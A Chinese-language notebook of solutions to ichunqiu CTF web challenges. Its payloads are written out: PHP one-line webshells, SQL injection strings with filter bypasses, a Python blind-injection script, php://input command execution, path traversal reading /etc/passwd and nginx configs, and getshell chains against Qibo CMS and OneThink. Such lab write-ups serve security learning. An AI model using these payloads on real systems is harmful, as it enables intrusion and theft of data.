Ichunqiu ctf WEB
WEB ICHUNQIU CTF
WEB区按分值从低到高的做。一边做,一边更....流出菜的泪水
爆破-1.
在变量中,联系到全局变量,用GLOBALS
爆破-2.
不在变量中,用命令读取system("ls") system("cat flag.php|base64") base64decode 加密解密后中间多了个空格(?)
爆破-3
Upload <script language = "Php">eval($_POST['flag'])</script>
再见CMS
搜索此文件不可写:/var/www/html/cache/label_cache/index_0_0_25_0_0_24be0.php得到齐博cms
找到利用漏洞https://www.2cto.com/article/201501/365742.html
http://d335b1e6131d4bbcbdc8edb6dbf1d01c8ad6ebf5e4f74bb2.changame.ichunqiu.com/member/userinfo.php?job=edit&step=2
truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid= , address=(select group_concat(table_name) from information_schema.tables where table_schema = database()) where uid = 3 %23
第一个是admin库
truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid= , address=(select group_concat(column_name) from information_schema.columns where table_name = 'admin') where uid = 3 %23 单引号被转译
address=(select group_concat(distinct(column_name)) from information_schema.columns where table_name = (select distinct(table_name) from information_schema.tables where table_schema = database() limit 1) ) where uid = 3 %23
truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid= , address=(select group_concat(username,password) from admin) where uid = 3 %23
admin 2638127c92b79ee7901195382dc08068 没查到记录
脑洞访问 /var/www/html/flag.php 由于字符过滤,对路径十六进制处理
0x2f7661722f7777772f68746d6c2f666c61672e706870
load_file读取成功,源码里面有flag
sql
字符型注入,对关键词进行了过滤/**/无法绕过,使用<>绕过
?id=1 union se<>lect 1,2,3
2号位回显,对2号位进行注入
?id=1 union se<>lect 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
表:info,users
?id=1 union se<>lect 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
info的列: id,title,flAg_T5ZNdrm 爆出flag
users的列:id,username,flag_9c861b688330 没有
sqli
页面重定向,注意名字l和1 0和o的区别,进入l0gin.php?id=1
#号被过滤,+被过滤 ,逗号也被过滤了
id=1'报错 ,id=1'%23正常,存在注入 。
逗号被过滤了不能用if,可以用select case when then else end ,截取也不能用逗号,使用from for
如 (
select
case
when
(
substring
((
select
user
())
from
1
for
1)=
'e'
)
then
sleep(3)
else
0
end
)
看了writeup 用union
select
*
from
( (
select
user
())a
JOIN
(
select
version())b 绕过逗号过滤
?id=0' union select * from (select user() ) a join (select version() ) b %23
表:users 列:id,username,flag_9c861b688330 字段里面有flag
.......不知道为什么提交失败。暂时放着吧
Backdoor
敏感泄露了git,用githack下载源码但是怎么都没找到flag 看了writeup
学到了新工具,githack下载的源码是没有.git的无法查看log
新工具dvcs-ripper 下载下来,git log ,reset --hard 进行版本回退
找到后门php,然后又是敏感泄露 vim编辑的泄露试了swn,swo,swp.. swo可以下载
下载下来 把文件名字改成 .b4ckdo0r.php 然后vim b4ckdo0r.php 进入会警告,然后输入r恢复
和以前一道题一样的后门,利用拿到flag.....又提交失败?可能还有坑
GetFlag
看了writeup 学了碰撞的范围,万能密码' or 1=1# 绕过登录 ,进去发现下载文件提示在根目录,对下载文件目录进行遍历flag.php,flag 在helloctf.php,直接下载不行,那就做审计吧。。。拿到flag了 还是提交失败..- -自闭
Not Found
抓包 看到x-method,搜索http有以下method
Http请求的method
1 GET 请求指定的页面信息,并返回实体主体。
2 HEAD 类似于get请求,只不过返回的响应中没有具体的内容,用于获取报头
3 POST 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。
4 PUT 从客户端向服务器传送的数据取代指定的文档的内容。
5 DELETE 请求服务器删除指定的页面。
6 CONNECT HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。
7 OPTIONS 允许客户端查看服务器的性能。
8 TRACE 回显服务器收到的请求,主要用于测试或诊断。
9 PATCH 实体中包含一个表,表中说明与该URI所表示的原内容的区别
11 COPY 请求服务器将指定的页面拷贝至另一个网络地址。
12 LINK 请求服务器建立链接关系。
13 UNLINK 断开链接关系。
14 WRAPPED 允许客户端发送经过封装的请求。
15 Extension-mothed 在不改动协议的前提下,可增加另外的方法。
用OPTIONS提交,发现返回包Location: ?f=1.php f可以读取文件内容,因为404被重置了,所以尝试读取.htaccess
拿到被替代的页面 ,提示XFF,修改XFF仍然无法访问,那么用client-IP,拿到flag
Vld
进入提示index.php.txt 读代码是要get三个参数,值已经给出,进入1chunqiu目录,下载源码,代码审计,login的username用了adalashess过滤,传入的单引号前面会被加上\,但是由于%00会被转移成\0,和单引号一起传入就变成了\0\',源码有一个trim,是传入的number值,number值提交为0,即可替换为空,即\\' 达成注入。 可以updatexml报错注入等,拿到flag,
如username=1%00'and updatexml(1,(select concat(user())),1)# 由于updatexml显示有限,可以添加mid函数 对返回内容进行择取
补充测试了一下各个报错函数:extractvalue() username=1%00'and extractvalue(1,(select concat(user())))# 可以
EXEC
登陆
fuzzing
抓包提醒大IP 既10开头的IP地址 修改XFF 进入 下一步,get 是show me your key POST访问网页得到提示
key is not right,md5(key)==="1b4167610ba3f2ac426a68488dbd89be",and the key is ichunqiu***,the * is in [a-z0-9]
写脚本爆破
import hashlib #python2.7 md5 = '1b4167610ba3f2ac426a68488dbd89be' str_start = 'ichunqiu' datalist = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9'] for i in range (len(datalist)): for j in range (len(datalist)): for k in range (len(datalist)): mystr = str_start+datalist[i]+datalist[j]+datalist[k] md5hash = hashlib.md5() md5hash.update(mystr) mystrmd5 = md5hash.hexdigest() if mystrmd5 == md5: print mystrmd5 print mystr
得到key值 进入下一步xx00xxoo.php得到提示如下
source code is in the x0.txt.Can you guess the key
the authcode(flag) is 785e/sCLJpLIuqDjKKK7HMcxEKhqQObtxcHmqEhwdpTdN2yoVtCGXCvP2Hp4kTPipzznYmXce0Kvr9QMcXD5xuPOz9v3g+Q
进入x0.txt 拿到源码 脑洞一下key就是我们刚刚爆破出来的key 修改key 用authcode 解密 他给的字符串 得到flag
hash
点开根据提示拿到一段md5码,拿去解密得到 kkkkkk01123 根据提示,后三位为key且不是123即可 改为321 拿去hash得到值 然后key=321&hash=得到的hash值进入下一步
是反序列化,把Demo序列化后 在4前面添加+号绕过正则过滤, 把数字改大(1改为2)绕过wakeup 然后base64加密 进入下一步
由于有addslashes 进行了过滤操作,所以输入的value进行重新定义赋值,然后再赋值进行命令执行操作。
f15g_1s_here.php?val=${eval($_GET[a])}&a= system("cat+True_F1ag_i3_Here_233.php|base64")
Look
敏感文件扫到.viminfo 访问拿到,这里好像跳过了 本来需要注入才能拿到这个提示,做完看writeup研究了一下,又sql注入拿到 下一步 ?verify='<1%23 经过测试 <(0-9),=0,-0,%(0-9),*(0-9),/(0-9) 都可以
5211ec9dde53ee65bb02225117fba1e1.php.backup~~~ 备份文件 访问该文件得到源码,部分源码如下 源码要求输入不是Bctf2O16但是带入数据库查询是以Bctf2O16
if(stripos($_GET['usern3me'],'Bctf2O16')!==false)
$name = 'FUCK';
$sql = "select * from admin where name='$name'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
echo '<br>next ***.php';
}
根据提示 mysql 字符集 绕过
MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分大小写, Ä = A, Ö = O, Ü = U 这三种条件都成立, 对于utf8_general_ci下面的等式成立:ß = s ,但是,对于utf8_unicode_ci下面等式才成立:ß = ss 。
可以看到大写O和Ö是相等的 则构造5211ec9dde53ee65bb02225117fba1e1.php?usern3me=Bctf2Ö16 得到下一个页面,访问页面直接拿到源码
<?php if(isset($_GET['path']) && isset($_GET['filename'])){ $path = $_GET['path']; $name = "upload/".$_GET['filename']; } else{ show_source(__FILE__); exit(); } if(strpos($name,'..') > -1){ echo 'WTF'; exit(); } if(strpos($path,'http://127.0.0.1/') === 0){ file_put_contents($name,file_get_contents($path)); } else{ echo 'path error'; } ?>
要求path http://127.0.0.1开头使用 ..思想不够 原来可以用上一关的页面来写shell
c3368f5eb5f8367fd548b228bee69ef2.php?filename=1.php&path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=<?php%2520eval($_POST[flag]);?>
这里对空格进行了url二次编码绕过。然后蚁剑连接 拿到flag
Manager
js绕过盲注
自提要点:
首先前台输入有js阻止输入,使用复制粘贴 进行注入测试
F12看login.js 里面有函数 明显不完全,发现本地的./sources/bootstrap.js 和./sources/jquery-3.1.1.js
查看源码找到sign函数 以及对sign函数的用法 对输入的username为z1 以及固定的字符串
YTY0YjM0Y2RhZTZiMjliZjFjOTQxOD== 用sign函数生成验证
sign.js
function sign (data, key) { var privateKey var i, j var W = new Array(80) var A, B, C, D, E var H0 = 0x97B5D3F1 var H1 = 0x1F3D5B79 var H2 = 0x684A2C0E var H3 = 0xE0C2A486 var H4 = 0x33221100 var H5 = 0xF0F0F0F0 var temp var _RSA = function (n, s) { var t4 = (n << s) | (n >>> (32 - s)) return t4 } var _Rot = function (val) { var str = '' var i var v for (i = 7; i >= 0; i--) { v = (val >>> (i * 4)) & 0x0f str += v.toString(16) } return str } str = unescape(encodeURIComponent(key + data)) var strLen = str.length var wordArray = [] for (i = 0; i < strLen - 3; i += 4) { j = str.charCodeAt(i) << 24 | str.charCodeAt(i + 1) << 16 | str.charCodeAt(i + 2) << 8 | str.charCodeAt(i + 3) wordArray.push(j) } switch (strLen % 4) { case 0: i = 0x080000000 break case 1: i = str.charCodeAt(strLen - 1) << 24 | 0x0800000 break case 2: i = str.charCodeAt(strLen - 2) << 24 | str.charCodeAt(strLen - 1) << 16 | 0x08000 break case 3: i = str.charCodeAt(strLen - 3) << 24 | str.charCodeAt(strLen - 2) << 16 | str.charCodeAt(strLen - 1) << 8 | 0x80 break } wordArray.push(i) while ((wordArray.length % 16) !== 14) { wordArray.push(0) } wordArray.push(strLen >>> 29) wordArray.push((strLen << 3) & 0x0ffffffff) H0 ^= H5 H1 ^= H5 H2 ^= H5 H3 ^= H5 H4 ^= H5 for (privateKey = 0; privateKey < wordArray.length; privateKey += 16) { for (i = 0; i < 16; i++) { W[i] = wordArray[privateKey + i] } for (i = 16; i <= 79; i++) { W[i] = _RSA(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1) } A = H0 B = H1 C = H2 D = H3 E = H4 for (i = 0; i <= 19; i++) { temp = (_RSA(A, 5) + ((B & C) | (~B & D)) + 0x5A820000 + E + W[i] + 0x00007999) & 0x0ffffffff E = D D = C C = _RSA(B, 30) B = A A = temp } for (i = 20; i <= 39; i++) { temp = (_RSA(A, 5) + (B ^ C ^ D) + 0x6ED90000 + E + W[i] + 0x0000EBA1) & 0x0ffffffff E = D D = C C = _RSA(B, 30) B = A A = temp } for (i = 40; i <= 59; i++) { temp = (_RSA(A, 5) + ((B & C) | (B & D) | (C & D)) + 0x8F1B0000 + E + W[i] + 0x0000BCDC) & 0x0ffffffff E = D D = C C = _RSA(B, 30) B = A A = temp } for (i = 60; i <= 79; i++) { temp = (_RSA(A, 5) + (B ^ C ^ D) + 0xCA620000 + E + W[i] + 0x0000C1D6) & 0x0ffffffff E = D D = C C = _RSA(B, 30) B = A A = temp } H0 = (H0 + A) & 0x0ffffffff H1 = (H1 + B) & 0x0ffffffff H2 = (H2 + C) & 0x0ffffffff H3 = (H3 + D) & 0x0ffffffff H4 = (H4 + E) & 0x0ffffffff } temp = _Rot(H0) + _Rot(H1) + _Rot(H2) + _Rot(H3) + _Rot(H4) return temp.toLowerCase() }
Mannager.py
import requests import execjs import sys #USER@LOCALHOST #sql = "1'or mid((select `p@ssw0rd` from users limit 0,1),{0},1)='{1}' #" #MYICHUNQ1USUPERL0NG&&SECUREPA$$WORD #MyIchunq1uSuperL0ng&&SecurePa$$word #sql = "1'or mid((select database()),{0},1)='{1}' #" #LOGIN #sql = "1'or mid((select group_concat(table_name) from information_schema.tables where table_schema = database()),{0},1)='{1}' #" #sql = "1'or mid((select group_concat(column_name) from information_schema.columns where table_name = 'users'),{0},1)='{1}' #" #ID,NAME,P@SSW0RD sql = "1'or mid((select name from users),{0},1)='{1}' #" password = 'test' url = 'http://8e526fb8f52f4158b2f990cd98cc4d283b5af09746884513.changame.ichunqiu.com/login.php' def get_sign(): f = open("Manager/sign.js", 'r', encoding='UTF-8') line = f.readline() htmlstr = '' while line: htmlstr = htmlstr + line line = f.readline() return htmlstr ''' def get_nonce(): f = open("Manager/nonce.js", 'r', encoding='UTF-8') line = f.readline() htmlstr = '' while line: htmlstr = htmlstr + line line = f.readline() return htmlstr def exe_nonce(): noncestr = get_nonce() obj1 = execjs.compile(noncestr) nonce = obj1.call("getnonce") return nonce ''' def exe_sign(a): signstr = get_sign() obj = execjs.compile(signstr) sign = obj.call("sign",a,"YTY0YjM0Y2RhZTZiMjliZjFjOTQxOD==") return sign def Burp(sql): flag='' for i in range(1,40): for ch in range(32,129): if ch == 128: sys.exit(0) payload = sql.format(i,chr(ch)) user = payload sign_nonce = exe_sign(user+password) print(user) data = { 'username':user, 'password':password, 'submit':'', '_nonce':sign_nonce } re = requests.post(url=url,data = data) #print(re.content) string = "Incorrect" simple = string.encode() if simple in re.content: flag += chr(ch) print(flag) break def sqltest(sql): passwd = 'a' sign_nonce = exe_sign(sql+passwd) data = { 'username':sql, 'password':passwd, 'submit':'', '_nonce':sign_nonce } re = requests.post(url=url,data = data) print(re.content) if __name__ == '__main__': Burp(sql)
Notebook
session 文件包含
访问robots.txt 发现php1nFo.php 文件 根据提示 包含phpinfo 和自带的phpinfo不一样,
http://f5bff13e8dc341ebab401f97a0cb8d3255eefc1358574a2a.changame.ichunqiu.com/php1nFo.php
http://f5bff13e8dc341ebab401f97a0cb8d3255eefc1358574a2a.changame.ichunqiu.com/action.php?module=&file=php1nFo.php
把两个文件的源码复制下来,通过对比发现包含文件的session.save_path不一样 /tmp/SESS可以被包含
由于对与注册输入没有作任何过滤,所以可以直接给username注册一句话,再把session id 文件包含,蚁剑一句话连接即可拿到flag。
象棋
js 爆破
import requests url_start ='http://e74771769fb04fc2acb9d0f853a82cbe6fdaed0a13e9435b.changame.ichunqiu.com/js/' #js/[abcmlyx]{2}ctf[0-9]{3}.js str1 = 'abcmlyx' str2 = '0123456789' def burp(): for i in str1: for j in str1: for k in str2: for l in str2: for m in str2: string = i+j+'ctf'+k+l+m+'.js' print(string) url = url_start+string re = requests.post(url = url) #print(re.status_code) if re.status_code == 200: print('right!'+string) return string print(burp())
攻击
经过分析 flag格式为 flag{字符串} 所以从第5位开始的三位字符串不知道,只能爆破
同时构造所有三个字符串的字典等于attack,然后post提交,如果里面有符合的字符串则会打印flag
import requests url = 'http://5275d5aecee0437b9c466a350d2b580c94be8cda4af6474e.changame.ichunqiu.com/' str1 = '0123456789' datagroup={} def burp(): for i in str1: for j in str1: for k in str1: datagroup[i+j+k]="attack" re = requests.post(url = url,data = datagroup) print(re.content) string1 = 'flag{' simple = string1.encode() if simple in re.content: return re.content print(burp())
include
文件包含
路径包含 /?path=phpinfo.php 测试 /?path=../../../etc/passwd
只包含没有命令不行, 测试path = php:// 再 post命令 具体https://www.cnblogs.com/R4v3n/articles/8944330.html
/?path=php://input
post
<?php system("cat dle345aae.php");?>
拿到flag
Zone
和我在攻防世界做到的一道题类似,而且还是简化了后续步骤的 ,改cookie 然后 ..././..././..././读到配置文件 /etx/nginx/nginx.conf 里面最后一句 include sites-enabled/default; 读配置文件 /etc/nginx/sites-enabled/default aotuindex online-movies 路径文件读取
/online-movies../var/www/html/flag.php 拿到flag
OneThink
自提知识点:1.换行符的二次编码 2.分段getshell
跟具提示找已知getshell的方法 https://bbs.ichunqiu.com/thread-4918-1-1.html
写一句话的时候失败了,好像是因为长度问题? 后来跟着writeup换成了两段式的成功了。
%0d%0a$x=$_GET[a];//
%0d%0aeval($x);//
/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=system('命令输入');
ls
ls ../
ls ../../ 看到flag.php
cat ../../flag.php F12 看源码拿到flag